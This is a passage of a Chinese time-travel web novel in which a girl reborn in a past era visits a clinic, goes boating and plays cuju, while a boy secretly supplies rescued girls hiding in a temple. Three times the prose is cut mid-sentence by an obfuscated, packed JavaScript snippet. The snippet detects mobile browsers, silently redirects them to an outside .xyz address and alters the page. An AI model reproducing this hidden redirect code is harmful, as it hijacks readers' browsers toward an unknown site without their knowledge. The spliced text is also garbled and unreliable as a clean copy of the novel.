原身本该得病去世,但由于她的到来,身体机能又慢慢恢复了健康。所以那位徐大夫的诊断结果没错,只是没想到还有她这样的特例。 不过宋溪云除了说这种无用的抱歉也做不了什么,总不可能告诉对方她是穿越时空的亡魂吧? 希望徐大夫能早点想开,别把自己弄魔怔了。 半路上碰到一个面熟的僧人,他双手合十朝杜春兰行问候礼,原本带着愠怒的杜春兰缓了缓神色,也合掌回礼。 宋溪云有样学样,只不过分开后她回头多看了对方几眼,心里想着这个时代的和尚跟道士到底有没有那么玄学,能把她这个外来物种给看出来。 至少就目前来说,暂时还没人发现这个秘密。 …… 河岸边柳丝微荡,高隆起的石桥下留有过小船的桥洞,宋溪云见前后没有行船,连忙把吐在手心的几颗樱桃核扔进水里。 和现代的环卫工人类似,这个时代的“街道司”也会安排专人来清扫街道,不仅如此,还有一种叫“倾脚头”的职业,每天负责收集、清理粪便和垃圾。 但宋溪云没有随手扔垃圾的习惯,干这种事的时候总有一种莫名的负罪感,所以只能退而求其次,悄咪咪地往水里扔。 反正不会造成水体污染和河道堵塞,无伤大雅的事偶尔干几次也没什么问题。 不远处的石阶下有几个洗衣裳的妇人,跟着出门的孩童在围栏边嬉戏,大一点的小孩摘了片嫩柳叶,一曲小调便随着水波荡漾开。 宋溪云听不出是什么曲子,只觉得悠扬的曲调和当下很配,让人心生惬意。 过桥之后没走多远就到了另一家医馆,因是开在大街和河岸的交界处,来问诊的人更多些。 杜春兰在进门的柜台处熟练地领了块木牌登记,分诊安排好后会有药童传唤,因此病患及其家人只需耐心等候便好。 分诊的大夫会根据病情的轻重缓急来排顺序,像宋溪云这种来复诊的病患一般会安排到后面的位置。 “云云,来,坐这。” 杜春兰找到一个背风的角落,连忙招呼宋溪云过去。 自从宋溪云上次出门感冒了之后,每次出来看病时杜春兰都会给她戴一顶帷帽防风。大概是最近恢复得不错,天气也渐渐变热了,今天没有戴。 于是“母女”俩在医馆的待诊区坐着,等药童喊名字。 大堂里的香已经燃了半柱,宋溪云瞄了杜春兰一眼,发现她正在折手指清点着什么,没有半点不耐烦。 以前的自己到处跑,很忙碌也很充实,但是总觉得少了点什么。现在换了个世界生活,倒觉得慢下来也不错。 又过了好一会,药童从里间走出,手里拿着一块木牌喊道:“壹贰柒号,宋溪云!” “这!”杜春兰起身,牵起宋溪云去往问诊间。 两人身后,临河的一侧有几人从船上下来,船夫收好铜板,又摇着船桨行到下一处停靠的地方。 灿阳渐渐唤醒了整座城市,一艘艘小船也如同游鱼那般穿梭在水面上。 百姓若是想去到城市的某一处地方,雇车马或游船都是不错的选择。 而专门赶路的蓬船又与赏景的游船不同,船夫的力道更大些,以至于岸边风景不过匆匆一览就被抛到了身后。 早晨的风舒爽,吹得慕萧发丝微扬,他一手扶住背篓,一手撑着下巴出神。 陆宁不知道他在想什么,明明是一个比自己小六岁的孩子,却比大部分人都成熟老练,难以想象他以前经历过多少事。 但陆宁不在乎这些,只要能拿到钱给妹妹治病,让他们兄妹俩活下去,对方是谁、有什么目的通通不重要。 船在码头停稳,两人将背篓背好下船。 慕萧带着陆宁坐上前往郊外某个村子的驴车,一路朝山林里走去。 山路还算平坦,只是由于被草木侵占,得仔细会勾住衣裳的树枝。 慕萧如今身板瘦弱,不能负重行路,因此背篓里装的布料和日用杂货这些,陆宁干惯了体力活,五六十斤的粮食背起来也还算轻松。 快到破庙的时候,几个身影正偷偷摸摸想往山下跑。 慕萧示意陆宁在原地等,自己则卸下背篓朝那边走去。 “你们要去哪?” 三个小姑娘被吓得一惊,见是慕萧,其中一个结结巴巴开口道:“我们,我们想回家看,看看。” “再待一阵,等风波过了自然能回去。” 都是些涉世未深的小姑娘,经此一遭自然会想念家人,但逃出当天慕萧便同她们讲清了利害,如今不过十天不到,就将那些忘了个干净,还不如隔壁九岁的小丫头懂事。 几人对视着,显然还想说什么,慕萧不愿多费口舌,正巧慕雨见少了人出来寻,他喊道:“阿姐。” 慕雨当即反应过来是何情况,她把人带到一旁安抚,慕萧则叫上陆宁去破庙后院放东西。 被解救出来的一共九人,外头的三个年纪尚小,才十一二岁,最大的两人十六岁左右,剩下三个和慕雨一般大。 庙里的其他人没有因为慕萧年纪小而对他态度随意,试想一个敢放火烧屋的十岁少年,哪里会是简单的人物? 因此大家对于慕萧送来的粮食和布料等物很是感激,连连道谢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360688|183661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们都是普通百姓家的女儿,就算父母上报官府也不一定会被找到,若没有慕雨的弟弟解救,还不知要吃多少苦头。 既然有个栖身的地方,不如先好好安顿下来,到时再做打算,免得给家里带来祸患。 慕雨带着三个小姑娘进来,其中一个眼眶通红,显然刚哭过。 好歹是将人劝住了,慕雨让她们去整理东西,和较年长的两个姑娘说说话。 她转头打量了陆宁一眼,伸手揽住慕萧看他脸上的伤。 “快好全了,身上有没有?”慕雨深知慕志财的德行,忍不住皱眉问道。 慕萧对她的触碰已经开始习惯,不会像当初那样排斥,他尽量温和地回道:“阿姐放心,我和他没碰上。” 慕志财去赌坊和脚店是常有的事,因此想避开他并不难。 一旁的陆宁看到两个人相处不禁有些诧异,但想起刚才慕萧唤的“阿姐”,又觉得理应如此。 姐弟俩朝角落里走去,想来是有事要说,陆宁自觉隔开了一段距离,但也没有贸然去帮助不远处的几个姑娘。 “阿萧,你哪来这么多钱?是慕志财的银子?” 她们逃出来的时候拿了那户农家不少东西,灶房里的粮食、瓦罐和碗筷这些能拿的都拿了,不过若是要供九个人长久的吃喝显然还不够。 当初慕雨她们为此发愁的时候,慕萧却说自己有办法,并且果真在今天送了过来。 慕雨一直以为弟弟会是那个被她护在怀里的小男孩,没想到被卖后再次相见的他好似一夜之间长大,变得成熟冷静,还带着她不曾见过的狠劲。 “不是,我和陆宁一起挣的。” “怎么挣的?干什么能有这么多钱?”慕雨问道,眉头也随之皱起。 家里有个好赌的人,一提到来钱快的事自然会往那方面想,慕萧从容地打消阿姐的念头,回道:“卖签菜,他干活我跑腿,一天下来总能多挣些铜板。” 淮邗人对于吃食向来不吝啬,偶尔遇到富家子弟还能多得几两碎银,确实比其他买卖挣钱。 慕雨一听是在做正经事,当下安心不少。“累不累?有没有人刁难你?” “还好。” 慕雨摸了摸弟弟的脑袋,看着他日渐长高的身量,说道:“你一个人要好好照顾自己,别舍不得花钱。接下来姐姐和她们一起做绣活,也能卖点钱,你就别操心了。” 她好歹大了这么几岁,哪能只靠弟弟过活?都是有手有脚的人,勤劳点总不可能在山里饿死。 慕萧看着阿姐尚且青涩的脸庞,料想前世的她也会如现在这般努力地活下去。 他道:“粮食我会想办法送来,阿姐有什么需要的尽管和我说。” “好,知道我们阿萧长大了,可以照顾姐姐了。”慕雨笑了笑,又问道:“那个人就是陆宁?靠得住吗?你们俩怎么认识的?” 慕萧拿出早已备好的说辞,耐心解释道:“我发现你不见后到处去找,在渡口碰见他找走丢的妹妹,于是帮着一起。找到他妹妹后恰好发现赌坊的人往那个村子里走,我便跟过去了。” 慕雨被关在小屋里并不清楚外面的情况,自然是弟弟说什么信什么。 她点点头,暂且对瘦高的陆宁放下戒心。 而当慕萧和陆宁离开破庙走在山路上的时候,慕萧严肃地问道:“陆宁,你会下厨吗?” 慕萧习惯了一个人,表面应付完后通常不用再管,只不过看阿姐挂心的模样,怕是得把谎给圆回来了。 陆宁疑惑道:“啊?” 5. 第5章 古代医馆的问诊间和现代医院的差不多,都是医生坐里面看病,病人轮流进去,不过大夫的身边还跟了一个药童或是学徒之类的人,类似实习生的样子。 宋溪云被把脉的时候胡乱想着。 老大夫约莫半百的年纪,只鬓角染了几分白华,蓄的长须依旧乌青。他凝目蹙眉,让宋溪云换成左手又号了一会。 “沉疴已除,无大碍。不过心神有不宁,暂且开两帖药调养调养。” 一旁的药童接过药方,仔细看了三遍后才拿着木牌去抓药。 杜春兰的目光跟着药童到了门口,转头确认道:“严大夫,真不要紧了?” 严大夫拂了把长须,点头肯定道:“真不要紧了。” “好,好。多谢大夫!” “不必。”严大夫摆摆手,说道:“去取药吧,回家好生歇息。” 杜春兰笑着道:“一定,一定。” 两人取完药走出医馆,宋溪云能明显地感觉到杜春兰轻松了很多,可惜她关心的女儿早就离开了人世,只剩套着异世灵魂的躯壳。 …… 午后的蝉鸣扰人,宋溪云抬头看了眼窗外,又继续练字去了。 练毛笔字不是一朝一夕的事,她只能趁宋家夫妇不在的时候多写一些,至少得和原身的字有七八分像,等日后写起字来才不至于露馅。 “小云,小云。”宋家门外突然传来两声呼唤,大门只是虚掩着,一下子就被想探头往里看的两个小孩挤开。 宋溪云不紧不慢地将纸收好,招手让两人进来。 楚蓉和田佑一看就知道没有大人在家,欢快地跑到宋溪云窗前。 “小云,听我娘说你的病已经好了!我们是不是可以出去玩了?”楚蓉趴到窗台上高兴地问道。 “正好蓉蓉昨天刚凑齐买蹴鞠的钱,小云,要去鞠城玩吗?” 已经下午了,现在出门也玩不了多久,而且宋溪云还答应了闵承望带他一起玩,当然不可以言而无信。 于是她只好拒绝道:“今天先不去了,等闵承望放假再一起去。” “好吧。”楚蓉有些失望,她都好久没有和小云玩了。 田佑看看楚蓉,又看看宋溪云,建议道:“那我们明天坐船去玩吧?我让我娘买点果子和糕点在船上吃。” “好啊好啊!”楚蓉连连点头,“我去找李伯伯借船!” 这个提议不错,宋溪云赞成道:“可以,那明天我们在冬瓜家里集合。” “好!” 在家待了这么久,除了偶尔出门看病能放放风,宋溪云自己还没有去过太远的地方。好不容易能自由行动了,当然得去玩一玩。 不过,小孩子出门是不是得和父母报备一声? “娘,我明天和蓉蓉他们一起去游船。” “知道了,回来的路上蓉蓉娘正在说这事呢。难得你乖乖在家待了这么久,出去玩吧。记得别下水啊。”确认女儿康复之后,杜春兰的心情好了很多,自然不会拒绝这种合理的请求。 “好。”大概是之前一直被迫待在院子里,听到杜春兰答应后,宋溪云心里竟像小孩一样涌出了一股雀跃。 杜春兰倒完淘米水提醒道:“对了,明天出门记得到你李叔那拿几筒糖水,别喝冰盆里浸过的,你大病初愈,少喝这些寒凉的东西。” “知道了。” 好像大部分妈妈都会对子女更唠叨些,连年轻的杜春兰也不例外。 以前大学室友和自己吐槽她妈妈的时候,宋溪云倒觉得这是普通家庭的一种幸福,现在的她依旧这样觉得。 —— 次日,宋溪云把自己收拾好,带上杜春兰给她的五十文钱就出门了。 这个时代的铜板比较小巧,但五十枚还是有点份量的,挂在腰间太重,宋溪云干脆提在手上。 她到田家面馆的时候,楚蓉和田佑已经吃上了,见她过来,方秋杏顺手就将刚出锅的羊肉面端了过来。 “多谢方姨。” 方秋杏双手在襜裳上擦了两下,笑眯眯地说道:“说什么客气话?小云你多吃点,不够方姨再给你做。” “够了够了,芳姨您忙吧。”宋溪云连忙摆手,拒绝了这份沉重的爱意。 “行,你们吃好。” 正好门外进来位客人,方秋杏没有多做停留,转身招呼旁人去了。 宋溪云低头看了看自己的面,里面的羊肉多了几片,显然是方秋杏特地给她夹的,她一个人吃不了太多,就拿干净的筷子分给楚蓉和田佑一起吃。 纯手工擀出来的面更劲道些,再配上调好的羊肉汤底,味道确实很不错。羊肉燥热,早一步吃完的田佑还端来了两杯绿豆汤。 “我已经跟我娘说好了,待会儿吃完咱们先去糕点铺,然后再去果子铺。” 宋溪云咽下面条,也接了句:“顺道去一趟糖水铺,我娘让我带几筒糖水喝。” “啊?你们怎么都准备了东西?”楚蓉捞了一筷子面条晾凉,小声道:“我娘什么都没准备,只会拿钱让我自己去买。” “这还不好?咱们想买什么就买什么。”宋溪云谴责她,要知道好多小孩还没有这样的“烦恼”呢。 “就是就是。”田冬瓜揣着怀里的二十文钱点头附和。 三个人趁着各家店铺刚开门,赶紧过去把自家订好的东西拿上。 到糖水铺的时候,宋溪云喊道:“李叔,我娘让我来拿糖水。” 李榆在躺椅上晃着,随意道:“你们自己挑吧,都不能拿浸在冰水里的啊。你娘特地说了,要是被她知道你们偷拿了,我可少不了一顿骂。” “放心吧李叔。”楚蓉贼兮兮地笑着,假装伸手要拿放在冰水里的那些。 “欸!”李榆坐起身,朝她虚点了两下,没好气道:“最不放心你这个小丫头了!快走快走!” “嘿嘿。”楚蓉从贴着樱桃糖水的木桶里拿了一筒,然后飞快地跑到门外。 田佑则挑了一筒枇杷糖水,宋溪云看了半天,最后决定选一杯荔枝味的尝尝。 几个人拿着一堆东西到停靠船只的小“码头”,李老伯一看她们来了,指着一条小船道:“那条船打扫过了,上去玩吧。” 楚蓉点点头,数了十文钱准备递给他,“李伯伯,这是我们租船的钱。” “诶哟!你这丫头。”李老伯把钱拢回她的掌心,笑着道:“老头子还能挣你的钱不成?说借就借,到时记得给我还回来。” 楚蓉为自己不能当一次“大人”而遗憾叹气,摘了颗樱桃默默地吃着。 李老伯说完楚蓉,又转头跟宋溪云说道:“云丫头可别下水啊,身子骨才好,别染了寒气。” 面对长辈们的关心,宋溪云只能无奈点头。 田佑一脸期待地看着李老伯,结果他只是拍拍小胖子的肩膀,转身又回到柳树下的躺椅上靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360689|183661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着了。 “冬瓜,走啦!”楚蓉已经窜上了船,她一边接过宋溪云递来的果篮,一边喊道。 “好!” 缆绳被解开,小船随着水流慢慢往下游。 淮邗府城水系较为发达,多数小孩从小便会游水,划船也是部分小孩的手艺之一。除此之外,岸边每隔一段距离就有官府设立的水师处,若是有人翻船落水,水师处则会立马派人施救。 因此像楚蓉她们这个年纪的小孩,即便是自己划船游水也不用过于担心。 小船形似乌篷船,宋溪云坐在中间感受着拂过的清风,心中惬意万分。 河面大概三米宽,若是离岸近些,还能摸到垂下来的杨柳枝。 三人或躺或坐,手边有果子、糕点和糖水,眼前有石桥绿堤碧水,简直自在得不得了。 田佑吐出几颗樱桃核和枇杷籽,引得河里的小鱼接二连三往他那边游。 他遗憾道:“可惜没带鱼篓,这里的鱼比大河里的好抓。” “下次我们坐小舟来抓鱼。”楚蓉咬着一块绿豆糕随口道。 小胖子难得激动,兴致勃勃道:“一人一条,看谁的鱼多!” “好哦。” 幸好宋溪云会游泳,就是不知道徒手抓鱼难不难。她打开那筒荔枝糖水喝了两口,发现里面居然有切碎了的荔枝果肉,混着甜津津的糖水倒和以前的荔枝罐头很像,不过这里的果肉更新鲜。 两岸多是民居,只一段开阔的路面上有小贩在摆摊,远不如正街热闹。 没过多久,小船便来到一处交汇口,田佑掌船换道,岸边的人声也渐渐传来。 河道两边不再是民居,而是一家家商铺,同时兼顾着船客和行人的生意。 往来的行船也多了起来,田佑放下手里的糕点,跑到船尾去控制方向,以免和别的船相撞。 临河的茶坊里不知说书人讲到了什么桥段,引得众人纷纷喝彩,让部分行人也不由得停下脚步细听一番。 而酒肆的客人三五成群,各聊各的,偶而谈到相同的话题才会和旁人搭话。 生意最好的是各个食肆,店里的伙计和跑腿的闲汉少有喘口气歇息的时候,往往刚送完一单,另一单又接着来了。 田佑吸了吸鼻子,转头朝一家饼店看去。“好香!” 热锅里煎出的麦香混着酥油的味道飘出,勾得人食欲大开,小孩的好视力甚至还能看到肉饼被木夹夹起前撒下的一小把葱花。 “是老许肉饼,咱们买不买?我好久没吃过了。” “买!”田佑边说边将船往那边靠。 宋溪云对这些地方的印象不深,因此没有贸然说话,见两个人这么想吃,就当凑个热闹了。 窗边有专门守着船客的小娘子,楚蓉朝她喊道:“阿姐,我们买三个饼子。” “饼子七文钱一个,阿妹,你的铜板可带够了?”那小娘子笑着问道,没有因为楚蓉几个人年纪小而轻视。 “带够了带够了。”荷包里有五十文呢,楚蓉心想。 小娘子跟伙计说了一声,没一会就用绳子把食盒吊了下来,里面正好装了三个被油纸包好的肉饼。 楚蓉当面数出二十一文钱放进食盒里,再把肉饼分给小伙伴。 “阿妹阿弟若是觉着滋味好,记得下次再来啊。” “好,阿姐回见。” 小船往河心靠,继续随水流向下游而去。 6. 第6章 与许家肉铺的香味不同,慕家灶房里调料香味更突出些。 一少年端起炸好的签菜,让慕萧和陆宁尝尝味道。 “这次的怎么样?” 慕萧回忆着前世的滋味,点评道:“尚可。” “哥,大哥,单凭咱们手上的这些东西,这已经是最好的程度了,除非您再买些香料回来让我试配方。”石松青抓了把自己杂乱的头发,无奈道。 他丝毫不觉得喊一个十岁小孩大哥是件多么难以启齿的事,甚至张口就来,喊得毫无负担。 毕竟出钱的是大爷,况且连陆宁都听他的,自己讨好对方也不丢人。 慕萧只记得大概的几味香料,详细的配方自然无从得知,既然石松青有这份手艺,让他试试也未尝不可。 事情已经开了头,不挣点银钱回本显然不是他慕萧的做派。 “你写张单子把要买的香料和份量记下,我明日买回来。”他开口道。 “当真?”石松青欣喜地凑到慕萧面前问道。香料可不便宜,买个几两都抵得上他一个月的饭钱了。 慕萧点点头,道:“当真。” “那感情好!”说完,石松青又装做一副胆小怕事的姿态问道:“大哥,跟着你办事牢靠吗?” 慕萧托陆宁帮忙找人的时候便听他说过,石松青是从北方逃过来的,约莫是有仇家,对自己的小命格外看重,难怪当初没有在陆宁身边见过他。 看他还算自在的模样,应当不会有人特地来寻,即便是日后仇家找上门,那时的自己也不至于护不住手底下的人。 于是慕萧回道:“放心。” 石松青和陆宁对视一眼,藏下了对慕萧的探究。 三人把灶房收拾好,尽量恢复到原来的模样,正在他们准备离开时,小巷里走来一个醉汉。 慕志财晃晃悠悠走到家门口,却发现铜环上挂了一把锁,喝醉的他没有细看,往门上踹了几脚,骂道:“这小兔崽子!长本事了,一天天净到处跑!” 他抹了把脸,转身朝别的地方走,大概是去哪个狐朋狗友那里借宿。 大门上的锁只是虚挂着,里面拴着门栓,慕志财那几脚轻易踹不开。 三人在院子里听得很清楚,见陆宁和石松青有些惊讶,慕萧淡声道:“不必理会,走吧。” …… 圆日渐渐西沉,在波澜微起的河面上洒下一片橙红,柳枝轻晃,似乎想遮住这晃人眼的波光。 闵承望跑在人来人往的街道上,只愿能在日落前赶回家。 为了攒钱和宋溪云她们出去玩,他近日都没有雇驴车回家,而是以在书院温习为借口,来掩盖自己因徒步晚归的事。 书箱里的笔墨被晃荡得发出规律的碰撞声,一如闵承望此时雀跃的心情。 明天休沐,是他和宋溪云约好的日子,想到能和大家一起玩闹,闵承望忍不住露出笑意。 拐进小巷后,不起眼的窄道里突然伸出一条腿,一个不经意间,闵承望被绊倒在地。 膝盖和肘间传来火辣辣的痛意,闵承望撑起身往后看,果然是意料中的某些人。 —— 今日天光微暗,是个难得的阴天。 微风不燥,正适合出门踢蹴鞠。 杜春兰给宋溪云扎了个比平时高一点的发髻,裙子也换成了前后开衩的旋裙。 大家约在宋家集合,先过来的闵承望和田佑都穿上了利落的蹴鞠服,等楚蓉到了之后,一行人直奔车坊。 车坊开在赁驴铺旁边,是专门雇人赶车的铺子。 其中也有一部分车夫会将去往同一个地方的人邀到一辆车上,每个乘客付的车马钱更少,但车夫挣的钱却比一趟趟拉人更多些,隐约有点像公交车的雏形。 周围铺子里的都是熟人,楚蓉一进门就喊道:“赵叔!我们来雇车。” 赵乾拨动算盘的手不停,只来得及抬头看他们一眼,“来了?小钟正等着呢,快去吧。记得和他约好回来的时辰和地方,别疯玩。” “知道了知道了。”楚蓉随意应付道,牵着宋溪云的手往后院停车的地方走去。 小钟是个十六七岁的少年人,平时话少,但人很稳重,以往他们出门,赵乾一般都会派小钟去送。 “小钟哥,快走快走,我们去鞠城玩!” “马上就走,你们先去铺子门口等会。”小钟应道。 “好嘞!” 鞠城所在的东郊离他们这边比较远,小钟又搬了一袋草料供毛驴在半路吃,等一切准备妥当后不过才卯时过半。 驴车穿过一条条街道,最终踏上了宽阔的正街。作为一座城市的主干道,石板铺就的路面甚至可以让四辆驷马高车并行。 宋溪云假装随意地朝车窗外看去,发现往来的车马似乎有意区分出了左右车道。 在小街道的时候还不怎么明显,大概是因为广大学子休沐,今天出门的人格外多些,出城靠右、反向靠左的车流泾渭分明。 宋家周围多是一层的房屋,两层的建筑也不少,但在正街上,三四层的高楼比比皆是。 其中有比较特殊的几栋高楼,面前还立着一栋绑了各色彩绳的建筑,大概是商家吸引人的一种手段。 楚蓉分享着她从各处打探来的消息,已经计划好踢完蹴鞠要去哪里逛了。 田佑对于吃的格外感兴趣,一直在旁边提建议。 比起时不时回应几句的宋溪云,今天的闵承望好像更沉默些。 宋溪云瞅了瞅旁边两个讨论得兴致勃勃的小孩,凑到他身边小声问道:“你今天怎么了?” “我,我……”闵承望有些窘迫,结结巴巴解释道:“我带的零用钱,可能不够。” “没事啊,你之前请我们吃了那么多东西,今天换我们请你。” “可以吗?”闵承望双眼微微睁大,询问道。 “当然可以,朋友之间的付出是相互的。”趁今天有空,宋溪云正好教教这小孩。 她转头对田佑说道:“冬瓜,今天的糖水你请,下次我请你吃别的。” “好。”田佑点点头,没有丝毫的犹豫。 宋溪云朝闵承望看了一眼,仿佛在说“就像这样”。 过了一会儿,田佑问道:“小云,你今天还是喝荔枝糖水吗?” “对。” “蓉蓉刚刚说她想喝桑葚糖水,闵承望,你想喝什么?” 闵承望父亲管得严,时常告诫他不要耽于吃喝玩乐,因此他在这些方面并没有清晰的认知,只能循着过往的经历说道:“金果糖水。” 其他人疑惑地看着他。 楚蓉不解道:“可是现在没有金果呀。” 闵承望顿时羞红了脸:“那……那……” “那也喝荔枝糖水好了。”宋溪云替他解围道。 楚蓉一时有些好奇,凑过来问道:“闵承望,你们书院不教这些吗?” “不教。” “那除了识字和算术,还教些什么呢?” “教诗、赋、策论和六艺。”闵承望大概说了一遍夫子授课的内容,把楚蓉听得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360690|183661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一愣一愣的。 她晃了晃脑袋,说道:“你们要学的好多。” “对啊对啊,不累吗?”田佑也问道。 闵承望从小就是这样过来的,因此并不觉得疲累,只是会羡慕他们可以自由自在的玩闹。 几个人就此打开了话匣子,在车上聊了一路。 快到城门的时候,小钟拉了拉缰绳,将速度放慢。 远远的就能见着城门口分了四排,进出城门各两排,走近了才发现,原来是普通百姓一队,装了货物的商贩排另一队。 像宋溪云他们一看就是出城玩的市民,因此只要每人交一文钱就可以通行,进城门时也是这个价。而商贩们还要去旁边的税务司交税才会被允许通过。 随着驴车飞快前行,路边的民居也越来越少,直到两旁只剩树木和旷野,才不负它东郊的名号。 即便是如此荒凉的地界,拦路的河道上还是立了一座巨大的虹桥,只是少了城内的各类商贩,巨桥显得格外的孤寂。 虹桥慢慢消失在宋溪云的视线里,所带来的震撼依旧不减当初。 去鞠城的路显然被修过,一路平坦,连小土坑都不见几个,没有路途上的颠簸,一行人坐车坐得很舒服。 鞠城谓之城,但目前而言,显然还未建起属于它的城墙。 仅外部有一栋差不多两米高的石墙,内部则用木头分出了一块块区域。 看得出淮邗人对蹴鞠这个事物的兴趣很大,不论男女老少,是何身份,在鞠城门口基本上都能见到。 这个场所显然也带动了经济的发展,除了门口沿路两旁的商贩,内部也有专门留给商贩的场地。 “小钟哥,那你申正时辰记得来接,我们在城门口等你。” “好。早些出来,别回去晚了。” 虽然早没了宵禁的制度,但郊外地广人稀,容易出事,还是早回去为好。 “会的会的,放心吧。” 鞠城门口的管事看他们是四个小孩,便派了一个不大的姑娘带他们去小孩专门玩的区域。 蹴鞠和足球很像,外层用的是某种动物的皮,里面不知道包了什么东西,挺有弹性。 球类运动里,宋溪云能上手的只有乒乓球和羽毛球,所以她在家里还偷偷拿原身以前用的旧蹴鞠练过几天。 效果很感人,大概是能踢的程度,好在记忆里的原身球技也不太行,她应该不会因为这个露馅。 几人找了个角落里的鞠场,郊外的地界够大,除了按年龄分出的各个区域,鞠城还给部分初学者准备了练习的场地。 反正他们只是随意玩闹,又不准备参加正式的比试,因此角落里的练习场刚刚好。 蹴鞠在楚蓉脚下来回滚动,她踢了一会儿练练脚感,随后脚尖一转,把球踢给了宋溪云。 宋溪云当下一愣,身体却下意识将球传到田佑那里。 田佑随即接住,脚一抬一转,蹴鞠就到了脚背上,他用巧劲将其抛起,在肩膀上顶了两下之后退开半步,下一秒,蹴鞠就进了类似篮筐的竖直孔洞里。 “哇!” 一旁的小娃娃应该刚学不久,看到田佑如此“炫技”的一幕,忍不住发出惊呼。 田佑憨笑着挠挠头,跑过去将球捡起。 宋溪云心里也“哇”了一声,没想到冬瓜还是个灵活的小胖子呢。 闵承望则在一旁抱着球羡慕地看向三人。 从小玩到大的情谊终归是不一样的,他像一个窃贼,挤在中间偷偷拿走属于他们的那份欢乐…… 7. 第7章 “咱们分开玩吧?冬瓜教我练,闵承望教小云练,怎么样?这次我一定可以把球踢进去!” 闵承望学过射、御,因此踢蹴鞠的技艺也不低,是四个人里最拔尖的那一个,这样的分组无疑是最合适的。 经过大家的一致同意,楚蓉兴致勃勃地要田佑教她怎么把球踢进去。 宋溪云试过,用蛮力直接把蹴鞠从地面踢进球框是不现实的。 小孩子的球筐大概在半米高的地方,倒勉强可以进去,但正常的球筐离地面将近两米,只能靠一定的高度和力度进球。 所以,首先要学的就是怎么让蹴鞠离开地面。 闵承望不太会教别人,干巴巴的说了几句要领之后又示范了两三遍。 宋溪云试着领悟了一下,发现脑子和手各有各的想法之后,还是决定先实践了再说。 可惜半天过去了,宋溪云还在原地踏步。她把球踢给闵承望,疲惫道:“算了,你自己玩吧。” 闵承望弯腰把球捡起,有些不知所措,似乎是觉得自己没有把她教好。 “没事,我坐着歇会儿。”宋溪云朝他摆摆手,走到球场边界供人休息的椅子旁。 就目前的生活而言,除了没电没网络,许多方面和现代也没什么差别了,宋溪云靠在椅背上仰头想着。 她起身去看楚蓉学得怎么样,正好目睹了她将蹴鞠转到脚背上的一幕。 此时的当事人还有点懵,不经意踢起的鞠球顺势被膝盖接住,还顶了两下,楚蓉反应过来,抱着蹴鞠又跳又笑:“小云,我做到啦!” “好厉害。”宋溪云在一旁夸道。 楚蓉摇头晃脑得意道:“我就说我一定能学会的!” 田佑和闵承望也鼓掌为她喝彩,小姑娘受到鼓舞,又自己一个人练了一阵。 田佑转而和闵承望一起玩。 传球、顶球、进筐,两个人踢得有来有往。 不过看得久了,宋溪云总觉得闵承望的动作有些不太自然。 相比于肩膀和头顶,他好像会特地避开膝盖那一块,不过见他脸上没有痛苦的神色,宋溪云又觉得是自己想多了,可能人家的习惯就是这样吧。 楚蓉的动作愈发娴熟,等她练完最后一次想去找宋云溪时,抬头却发现旁边的球场里有个少年正看着她。 两人对视一眼,只听那少年喊道:“小娘子,要不要我教你啊?” 楚蓉连忙摇头,带着球走到另一边。 宋溪云瞧她有些慌张的模样,随口问道:“怎么了?” “没事没事。” 四个人又一起玩了一会,高悬的烈日透过云层冒出热意,提醒人们已经到了正午的时辰。 楚蓉擦着汗提议道:“不玩了不玩了,我们去吃东西吧。” “好啊。”田佑第一个应和道。 宋溪云也饿了,于是大家拿布袋子把蹴鞠装好提在手上,去各个商贩的摊子上找吃食填肚子。 “蓉蓉,我们去吃什么?”田佑问道。 楚蓉牵着宋溪云在前面带路,回头说道:“咱们去吃苏家拌饭!听说他们家的酱汁焖肉特别好吃,淋在米饭上能让人吃三大碗!” 苏家拌饭开在鞠城的中间位置,因城内不能建高层建筑,单这一家店就占满了一大片地方。 三面墙的木板都被卸下,可以供前来吃饭的客人欣赏大家踢蹴鞠时的风采。 为了防止蹴鞠不小心踢进来,外面还有专人特地守着,以便及时拦住。 宋溪云他们过来的时候算得上是人满为患,好在找到了一张小桌,能够四个人挤一挤。 店家特地摆放的冰盆和旷野间偶然吹来的风消散了部分暑热,让人觉得分外凉爽。 自己出门来玩的小孩不在少数,伙计早已见怪不怪,收好铜板后放块木牌,没一会儿就端了四大碗淋上酱汁焖肉的米饭过来。 旁边跟着的伙计承盘上放着四碗绿豆汤和一碟樱桃,显然也是宋溪云他们这一桌的。 宋溪云突然觉得,这二十文钱花得也不亏。 炖肉切成四四方方的骰子块,被酱汁浸出红亮的色泽,看起来软烂,一口下去只剩香糯而不腻口的绝美滋味。 再配上蒸得恰到好处的白米饭,让向来饮食规律的宋溪云也忍不住想再吃一碗。 吃完后配上一碗清爽解腻的绿豆粥,再疲惫的人也会觉得舒坦。 